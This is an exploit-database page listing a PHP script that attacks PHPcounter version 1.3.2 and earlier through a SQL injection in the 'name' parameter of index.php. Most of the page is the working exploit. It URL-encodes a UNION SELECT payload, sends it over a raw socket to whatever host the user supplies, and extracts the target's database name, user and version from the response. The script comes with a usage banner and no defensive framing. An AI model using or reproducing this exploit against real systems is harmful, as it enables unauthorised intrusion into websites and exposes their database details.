[ authorization ] [ registration ] [ restore account ]
Contact us
You can contact us by:
0day Today Exploits Market and 0day Exploits Database

PHPcounter <= 1.3.2 (index.php name) Remote SQL Injection Exploit

Author
StAkeR
Risk
[
Security Risk Unsored
]
0day-ID
0day-ID-3792
Category
web applications
Date add
27-09-2008
Platform
unsorted
=================================================================
PHPcounter <= 1.3.2 (index.php name) Remote SQL Injection Exploit
=================================================================



#!/usr/bin/php -q
<?php

// PHPcounter <= 1.3.2 Remote SQL Injection Exploit
// Discovered By: StAkeR 
// Discovered On: 28/09/2008
// Download: http://sourceforge.net/projects/phpcounter/

error_reporting(0);

$host = $argv[1] or banner();
$path = $argv[2] or banner();
$host = str_replace('http://',NULL,$host);

$isql = "'union select 0,0,0,concat(0x24,database(),0x3a,user(),0x3a,version(),0x24)'/*";
$isql = urlencode($isql);

function banner() {
  echo "[?] Usage: php $argv[0] http://example.com /cms\r\n";
  exit(0);
}

if(!$sock = fsockopen($host,80)) {
  die("Socket Error\r\n");
}

$data .= "GET /$path/index.php?name=$isql HTTP/1.1\r\n";
$data .= "Host: $host\r\n";
$data .= "User-Agent: Mozilla/4.5 [en] (Win95; U)\r\n";
$data .= "Connection: close\r\n\r\n";

fputs($sock,$data);

while(!feof($sock)) {
  $content .= fgets($sock);
} fclose($sock); 


if(preg_match('/\$(.+?)\$/',$content,$out)) {
  print "[+] $out[1]\r\n";
}
else {
  echo "[!] Exploit Failed!\n";
}

?>




#  0day.today [2024-11-16]  #